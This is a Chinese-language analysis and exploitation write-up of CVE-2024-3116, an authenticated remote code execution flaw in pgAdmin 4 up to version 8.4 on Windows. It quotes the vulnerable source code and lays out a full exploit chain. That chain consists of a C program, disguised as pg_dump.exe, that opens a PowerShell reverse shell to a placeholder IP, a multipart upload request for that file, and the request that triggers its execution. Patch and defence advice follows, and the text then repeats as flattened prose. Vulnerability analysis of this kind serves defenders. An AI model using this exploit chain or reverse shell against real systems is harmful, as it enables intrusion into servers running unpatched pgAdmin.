CVE-2024-3116 PgAdmin8.4代码执行漏洞
字数 1132 2025-08-23 18:31:34

CVE-2024-3116 PgAdmin 8.4 远程代码执行漏洞分析与利用

漏洞概述

CVE-2024-3116 是 pgAdmin 4 在 8.4 版本之前存在的一个远程代码执行漏洞。该漏洞允许已认证的攻击者在 Windows 平台上通过构造恶意请求在目标系统上执行任意代码。

受影响版本

  • pgAdmin 4 8.4 及之前版本
  • 仅影响 Windows 平台

漏洞原理

漏洞组件

漏洞主要涉及两个关键接口:

  1. /validate_binary_path - 用于验证二进制文件路径
  2. /filemanager/<int:trans_id>/ - 用于文件管理操作

漏洞触发流程

  1. 文件上传:攻击者通过 /filemanager 接口上传恶意可执行文件
  2. 路径验证:攻击者调用 /validate_binary_path 接口,指定上传的恶意文件路径
  3. 命令执行:系统尝试执行指定路径的文件并获取版本信息,导致恶意代码执行

关键代码分析

validate_binary_path 接口

@blueprint.route("/validate_binary_path",
                 endpoint="validate_binary_path",
                 methods=["POST"])
@login_required
def validate_binary_path():
    data = None
    if hasattr(request.data, 'decode'):
        data = request.data.decode('utf-8')
    if data != '':
        data = json.loads(data)

    version_str = ''
    if 'utility_path' in data and data['utility_path'] is not None:
        binary_versions = get_binary_path_versions(data['utility_path'])
        for utility, version in binary_versions.items():
            if version is None:
                version_str += "<b>" + utility + ":</b> " + \
                               "not found on the specified binary path.<br/>"
            else:
                version_str += "<b>" + utility + ":</b> " + version + "<br/>"
    else:
        return precondition_required(gettext('Invalid binary path.'))

    return make_json_response(data=gettext(version_str), status=200)

get_binary_path_versions 函数

UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']

def get_binary_path_versions(binary_path: str) -> dict:
    ret = {}
    binary_path = os.path.abspath(
        replace_binary_path(binary_path)
    )

    for utility in UTILITIES_ARRAY:
        ret[utility] = None
        full_path = os.path.join(binary_path,
                                 (utility if os.name != 'nt' else
                                  (utility + '.exe')))
        try:
            if not os.path.isdir(binary_path):
                current_app.logger.warning('Invalid binary path.')
                raise Exception()
            cmd = subprocess.run(
                [full_path, '--version'],
                shell=False,
                capture_output=True,
                text=True
            )
            if cmd.returncode == 0:
                ret[utility] = cmd.stdout.split(") ", 1)[1].strip()
            else:
                raise Exception()
        except Exception as _:
            continue

    return ret

文件上传接口

@blueprint.route(
    "/filemanager/<int:trans_id>/",
    methods=["POST"], endpoint='filemanager'
)
@login_required
def file_manager(trans_id):
    # ...省略部分代码...
    if req.method == 'POST':
        if req.files:
            mode = 'add'
            kwargs = {'req': req,
                      'storage_folder': req.form.get('storage_folder', None)}
        else:
            kwargs = json.loads(req.data)
            kwargs['req'] = req
            mode = kwargs['mode']
            del kwargs['mode']
    # ...省略部分代码...
    my_fm = Filemanager(trans_id, ss)
    func = getattr(my_fm, mode)
    res = func(**kwargs)
    # ...省略部分代码...

文件上传 add 方法

def add(self, req=None):
    if not self.validate_request('upload'):
        return unauthorized(self.ERROR_NOT_ALLOWED['Error'])
    if self.shared_dir:
        the_dir = self.shared_dir
    else:
        the_dir = self.dir if self.dir is not None else ''
    try:
        path = req.form.get('currentpath')
        file_obj = req.files['newfile']
        file_name = file_obj.filename
        orig_path = "{0}{1}".format(the_dir, path)
        new_name = "{0}{1}".format(orig_path, file_name)
        # ...省略部分代码...
        with open(new_name, 'wb') as f:
            while True:
                data = file_obj.read(4194304)
                if not data:
                    break
                f.write(data)
    except OSError as e:
        return internal_server_error("{0} {1}".format(
            gettext('There was an error adding the file:'), e.strerror))

    Filemanager.check_access_permission(the_dir, path)

    return {
        'Path': path,
        'Name': new_name,
    }

漏洞利用条件

  1. 攻击者需要拥有有效的 pgAdmin 账户凭证
  2. 目标系统运行在 Windows 平台上
  3. pgAdmin 版本 ≤ 8.4

漏洞利用步骤

1. 准备恶意可执行文件

由于 UTILITIES_ARRAY 限制了可执行文件名,我们需要将恶意代码编译为以下名称之一的 exe 文件:

  • pg_dump.exe
  • pg_dumpall.exe
  • pg_restore.exe
  • psql.exe

以下是反弹 shell 的示例代码(C语言):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "--version") == 0) {
        system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    } else {
        printf("Usage: %s --version\n", argv[0]);
    }
    return 0;
}

2. 上传恶意文件

使用 pgAdmin 的文件管理接口上传编译好的恶意可执行文件:

POST /filemanager/1/ HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="currentpath"

/uploads/
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="newfile"; filename="pg_dump.exe"
Content-Type: application/octet-stream

[恶意可执行文件内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

3. 触发命令执行

调用 /validate_binary_path 接口,指定上传的恶意文件路径:

POST /validate_binary_path HTTP/1.1
Host: target
Content-Type: application/json

{
    "utility_path": "C:\\path\\to\\uploads"
}

漏洞修复

pgAdmin 在 8.5 版本中修复了此漏洞,主要修复措施包括:

  1. 添加 is_fixed_path 参数增强路径验证
  2. 拒绝未授权的二进制文件路径

防御建议

  1. 升级 pgAdmin 到 8.5 或更高版本
  2. 限制 pgAdmin 的文件上传功能
  3. 对 pgAdmin 实施网络访问控制,仅允许可信用户访问
  4. 使用强密码策略保护 pgAdmin 账户

总结

CVE-2024-3116 是一个典型的认证后远程代码执行漏洞,其根本原因是 pgAdmin 在验证二进制路径时对用户输入的控制不足,结合文件上传功能导致攻击者可以上传并执行恶意代码。该漏洞利用需要攻击者拥有有效的账户凭证,且仅影响 Windows 平台。

CVE-2024-3116 PgAdmin 8.4 远程代码执行漏洞分析与利用 漏洞概述 CVE-2024-3116 是 pgAdmin 4 在 8.4 版本之前存在的一个远程代码执行漏洞。该漏洞允许已认证的攻击者在 Windows 平台上通过构造恶意请求在目标系统上执行任意代码。 受影响版本 pgAdmin 4 8.4 及之前版本 仅影响 Windows 平台 漏洞原理 漏洞组件 漏洞主要涉及两个关键接口: /validate_binary_path - 用于验证二进制文件路径 /filemanager/<int:trans_id>/ - 用于文件管理操作 漏洞触发流程 文件上传 :攻击者通过 /filemanager 接口上传恶意可执行文件 路径验证 :攻击者调用 /validate_binary_path 接口,指定上传的恶意文件路径 命令执行 :系统尝试执行指定路径的文件并获取版本信息,导致恶意代码执行 关键代码分析 validate_ binary_ path 接口 get_ binary_ path_ versions 函数 文件上传接口 文件上传 add 方法 漏洞利用条件 攻击者需要拥有有效的 pgAdmin 账户凭证 目标系统运行在 Windows 平台上 pgAdmin 版本 ≤ 8.4 漏洞利用步骤 1. 准备恶意可执行文件 由于 UTILITIES_ARRAY 限制了可执行文件名,我们需要将恶意代码编译为以下名称之一的 exe 文件: pg_ dump.exe pg_ dumpall.exe pg_ restore.exe psql.exe 以下是反弹 shell 的示例代码(C语言): 2. 上传恶意文件 使用 pgAdmin 的文件管理接口上传编译好的恶意可执行文件: 3. 触发命令执行 调用 /validate_binary_path 接口,指定上传的恶意文件路径: 漏洞修复 pgAdmin 在 8.5 版本中修复了此漏洞,主要修复措施包括: 添加 is_fixed_path 参数增强路径验证 拒绝未授权的二进制文件路径 防御建议 升级 pgAdmin 到 8.5 或更高版本 限制 pgAdmin 的文件上传功能 对 pgAdmin 实施网络访问控制,仅允许可信用户访问 使用强密码策略保护 pgAdmin 账户 总结 CVE-2024-3116 是一个典型的认证后远程代码执行漏洞,其根本原因是 pgAdmin 在验证二进制路径时对用户输入的控制不足,结合文件上传功能导致攻击者可以上传并执行恶意代码。该漏洞利用需要攻击者拥有有效的账户凭证,且仅影响 Windows 平台。